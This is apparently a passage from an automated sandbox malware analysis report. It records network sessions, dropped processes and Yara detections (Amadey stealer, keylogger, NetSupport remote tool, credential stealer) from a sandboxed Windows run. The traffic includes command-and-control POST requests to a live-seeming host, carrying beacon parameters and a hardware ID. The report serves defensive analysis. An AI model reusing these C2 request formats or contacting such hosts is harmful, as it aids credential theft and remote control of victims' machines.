2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: 5e d2 e3 df 07 c3 b1 a6 f8 d7 f9 a4 48 14 25 58 81 4e f9 2a 48 ae e3 3d b9 1d 10 48 5c 31 2c 53 70 fc cf 44 df 23 b5 33 05 68 d7 40 29 f2 8f 16 ad 4a df ab 51 58 6d 07 c2 04 33 3c 2a 76 c5 76 dc 05 83 61 51 33 53 e3 f7 c3 31 74 02 54 fb 5c f4 5b 27 39 a2 4d 03 01 4a ba 5b 28 f6 58 54 fe a5 85 e3 55 3c 31 49 61 81 25 bb 17 6a a9 07 28 3e bf ec 9b a6 3d 7a a5 45 cf bd cf 0d e2 89 b2 9e ed 64 10 40 50 30 e9 12 53 7c 24 6e 50 44 93 39 76 d4 4f 04 85 c1 10 31 6c 39 e3 ef c1 7a b3 9d f6 5d f3 c8 1b bd 6d 06 80 7f fc 33 c5 2a 60 31 de 78 a0 dd b9 06 fd 6a b5 03 45 ce c2 e2 13 f3 45 dd 06 31 82 bd 39 96 e1 10 5a 39 68 eb c0 fe 4c 14 3c d3 7e 29 53 4a d3 14 df d1 af d8 9b ee 14 21 23 b4 47 15 c3 1a 9f 33 35 80 0e ef 39 de 9b 6b 80 fb 7a be ad 46 f3 b2 c7 d6 be a1 Data Ascii: ^H%XNH=H\1,SpD#3h@)JQXm3<vvaQ3S1tT\['9MJ[(XTU<1Ia%j(>=zEd@P0S\|$nPD9vO1l9z]m3*`1xjEE19Z9hL<~)SJ!#G359kzF
2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: c3 07 2f 6f c6 b6 63 bb db c2 ca 9e 4d 7a 5d 7b 1d 0c 17 1f fc ee 9a 25 75 8b 58 0c c7 98 4a cf 1c ef bf 96 77 f0 22 37 c4 29 e4 99 2a 2b 33 df 5a 4a 0f a8 73 bf ba d8 28 62 4e 13 cd ce dc a1 d7 2f 1d 90 8c bc 5e a3 66 c9 ff 8b d8 6f 27 49 b6 66 d6 fe 3a d5 73 3c 08 54 c6 5d 46 71 5e 66 7b c7 85 a1 84 2f bb 30 58 ac ea e9 10 e2 3e 87 c4 08 d8 96 49 b6 ad 57 7d 52 b5 65 02 b0 d6 a6 73 0f 83 12 43 d8 29 27 fb f2 b8 49 c5 74 a5 39 d6 af 4e 32 cd 0f 7c ae 7d 62 03 d7 00 4e 07 57 fc bd 16 18 e4 5f 89 0f d8 6a a1 6b bc 3f 06 cb be df 1f bd 43 9f 00 13 5e 86 5d dc 7f 31 51 3f 13 cd 5b 98 eb b6 0e 0e 21 a8 c6 fa 98 14 c3 76 77 f0 2e a1 37 2d 8a 8f 2b ea 6c d4 51 b9 c0 af eb 76 05 24 d8 fa 2d 5f 56 e4 f2 9a 11 9d 98 a3 e5 2b 2c 51 e8 8d b1 11 f3 9d 6a 7e 25 e9 4b Data Ascii: /ocMz]{%uXJw"7)*+3ZJs(bN/^fo'If:s<T]Fq^f{/0X>IW}ResC)'It9N2\|}bNW_jk?C^]1Q?[!vw.7-+lQv$-_V+,Qj~%K
2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: eb 44 a4 0c 39 a5 64 e8 20 db d5 72 b7 e1 47 53 19 29 e6 3f 7d 6f 31 be e2 67 0a 3d da 39 eb 5b cf db f1 d5 17 73 8f 7e 5f 51 7a 52 fa ef 38 c6 df 83 1b ee 2c 85 e2 d3 18 e9 53 c2 88 55 ec e3 1b 9f 0f ef 4d d2 e5 fe 38 4b ce f6 d8 b7 b4 e2 1e a3 2a 5e 56 59 77 7b 30 50 57 89 f1 7b bf 51 d8 8f cf a7 47 fa 8f 68 8a b4 9d e6 dd 54 f3 7c db dd c0 ec 19 80 71 7f dd 09 2b ba 47 27 fa 8a 3c d9 32 d2 af 94 eb 9e 32 cb 24 28 58 6f d6 90 7b 7e d0 04 cd 10 f8 27 29 84 1c d3 fc 2a 0e d4 93 1f c1 67 52 c7 ae bc 2d 77 27 ba dd 9a 3b b2 01 ff 2a 26 d2 2b fc f9 b3 be 7d 91 3f 26 93 f2 c2 1f c4 d3 66 2e 80 ad 78 4c a3 63 1d 13 21 6e c1 e2 fc 69 95 9f ae fb 62 a7 14 9e 74 b6 6f b5 58 fa fb 9f 83 d7 bd 87 51 71 2f 9f 30 11 1b d1 8d 79 35 27 39 34 d0 a8 ce c4 a3 37 0a 6e 9f Data Ascii: D9d rGS)?}o1g=9[s~_QzR8,SUM8K^VYw{0PW{QGhT\|q+G'<22$(Xo{~')gR-w';*&+}?&f.xLc!nibtoXQq/0y5'947n
2024-12-19 19:11:46 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=604l6lo3v2c3ecsff2dsj629b1; expires=Mon, 14 Apr 2025 12:58:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C81tz3o1DOHQfrv63hmbyrTOqSB0acDL7wH%2FYsMNYh9TjPT3JG5%2BV32TBXZPSuitoYIu6k2hJhwJweK%2Fxf258AXsXFsj1tGuepBTS%2FSqV2OAJVps3RrO1FUthlxRg43JHLuL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f49b3314d1f41ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&min_rtt=1574&rtt_var=596&sent=323&recv=555&lost=0&retrans=0&sent_bytes=2840&recv_bytes=554099&delivery_rate=1827284&cwnd=189&unsent_bytes=0&cid=efc3168ce613d680&ts=4154&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49874	104.21.91.209	443	4488	C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:11:47 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 84 Host: treehoneyi.click
2024-12-19 19:11:47 UTC	84	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 26 6a 3d 26 68 77 69 64 3d 42 31 37 36 31 39 32 31 41 38 34 31 37 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=rAGxSF--Support&j=&hwid=B1761921A8417898AC8923850305D13E
2024-12-19 19:11:48 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:11:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jo065qlokeq91pqksu8klggnep; expires=Mon, 14 Apr 2025 12:58:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z8kOtOq9%2F2iEfQ1SnwgGNWKMWT3uXdHyQrGNAbVN86q%2Bbcun9pIyUnnJI%2F8BXhOQlNE%2B2XLXnt9S1STrzfIyYDwasxdmr3IRIttkXTnArzq6H%2FjE7YxbZ1taBykKpVclDeCm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f49b353ff6643e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1876&min_rtt=1824&rtt_var=721&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=984&delivery_rate=1600877&cwnd=214&unsent_bytes=0&cid=faa92ccc066507a1&ts=780&x=0"
2024-12-19 19:11:48 UTC	54	IN	Data Raw: 33 30 0d 0a 4a 65 76 51 2b 4d 38 54 4a 73 64 59 73 32 41 74 57 53 56 72 6c 79 33 55 6d 38 79 4a 53 4f 61 69 75 71 31 44 52 66 6b 79 2f 38 56 2b 74 67 3d 3d 0d 0a Data Ascii: 30JevQ+M8TJsdYs2AtWSVrly3Um8yJSOaiuq1DRfky/8V+tg==
2024-12-19 19:11:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49875	34.226.108.155	443	1984	C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:11:48 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-19 19:11:49 UTC	224	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:11:49 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-19 19:11:49 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49934	104.21.91.209	443

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:12:12 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-19 19:12:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 19:12:12 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:12:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vg8pt4hk1h08rdu8lrv5a6fs4g; expires=Mon, 14 Apr 2025 12:58:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kBpESBpconJVk3ABBj3YQZOYegzsGckcxJUw3SSqMoR39Ya%2ByxixYKBZ4%2FdKEGefojb6LNztmJLQ9lgsH7Z0Hi6AsebA4sVkj%2FThzCuT8zbwN1kDk0T829iU5SbM4aUpIMwH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f49b3edbe01438b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1696&min_rtt=1693&rtt_var=642&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=907&delivery_rate=1694718&cwnd=169&unsent_bytes=0&cid=b770307093321c84&ts=771&x=0"
2024-12-19 19:12:12 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 19:12:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	14:10:02
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8e0000
File size:	3'002'368 bytes
MD5 hash:	A916C16724E4AA3EEF3839F1647F2B0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1744486368.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:10:06
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x9d0000
File size:	3'002'368 bytes
MD5 hash:	A916C16724E4AA3EEF3839F1647F2B0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1825370256.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1785105860.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 44%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:11:00
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x9d0000
File size:	3'002'368 bytes
MD5 hash:	A916C16724E4AA3EEF3839F1647F2B0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2320031632.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:11:15
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017788001\YIFtngJ.exe"
Imagebase:	0xb60000
File size:	2'138'232 bytes
MD5 hash:	E5F8753995C0B30B827AA2B17F3E1D22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000003.2450288231.0000000004E0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:11:16
Start date:	19/12/2024
Path:	C:\Users\Public\Netstat\FuturreApp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\FuturreApp.exe"
Imagebase:	0xef0000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.2997958771.00000000037B0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.3004782466.00000000111E1000.00000004.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000000.2453706303.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.2992005380.000000000157E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.3004602856.0000000011193000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.3009337434.000000006C2C0000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000007.00000002.2990562991.0000000000EF2000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\FuturreApp.exe, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:11:23
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe"
Imagebase:	0x8f0000
File size:	1'885'696 bytes
MD5 hash:	25FB9C54265BBACC7A055174479F0B70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2666665941.0000000000651000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2665749339.0000000000651000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:11:31
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe"
Imagebase:	0xe0000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:11:38
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017821001\855fa1aa94.exe"
Imagebase:	0xaa0000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.2695578636.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.2695578636.0000000003203000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.2700320615.00000000055C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.2698113110.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:11:43
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe"
Imagebase:	0x730000
File size:	4'421'632 bytes
MD5 hash:	61039D97D478405525707E3C0B4B3003
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	14:11:56
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017823001\954af05edd.exe"
Imagebase:	0x600000
File size:	4'423'680 bytes
MD5 hash:	DD8DF388D297C668E3CCCBD9132EE6C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:12:03
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017824001\83c3b21a33.exe"
Imagebase:	0x680000
File size:	1'374'720 bytes
MD5 hash:	669ED3665495A4A52029FF680EC8EBA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 28%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	764
Total number of Limit Nodes:	16

Executed Functions

Function 0091652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0091652A,?,?,?,?,?,00917661), ref: 00916567

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d28918364c13bd27c3ed9e19afda9fa80ab8d39f0ee9cbc81c9f9e772b65c795
Instruction ID: d339077865ce0d880beb983d05828a5e2de60ad051f06523fdbef4ac799ffa54
Opcode Fuzzy Hash: d28918364c13bd27c3ed9e19afda9fa80ab8d39f0ee9cbc81c9f9e772b65c795
Instruction Fuzzy Hash: 4DE08C3068120CAECF257B18C919E883B6BEB91745F402804FE1846222CB35EEC2D690

Function 04C80C2F Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1787545765.0000000004C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61deed602941f17ff681ad63c8c93d1885a9f60579b93ddff7b8a697c973fa54
Instruction ID: 26254f7da3d41e9f6333729017f5623e5a67039408c41d5cc4af1e2a3d05b776
Opcode Fuzzy Hash: 61deed602941f17ff681ad63c8c93d1885a9f60579b93ddff7b8a697c973fa54
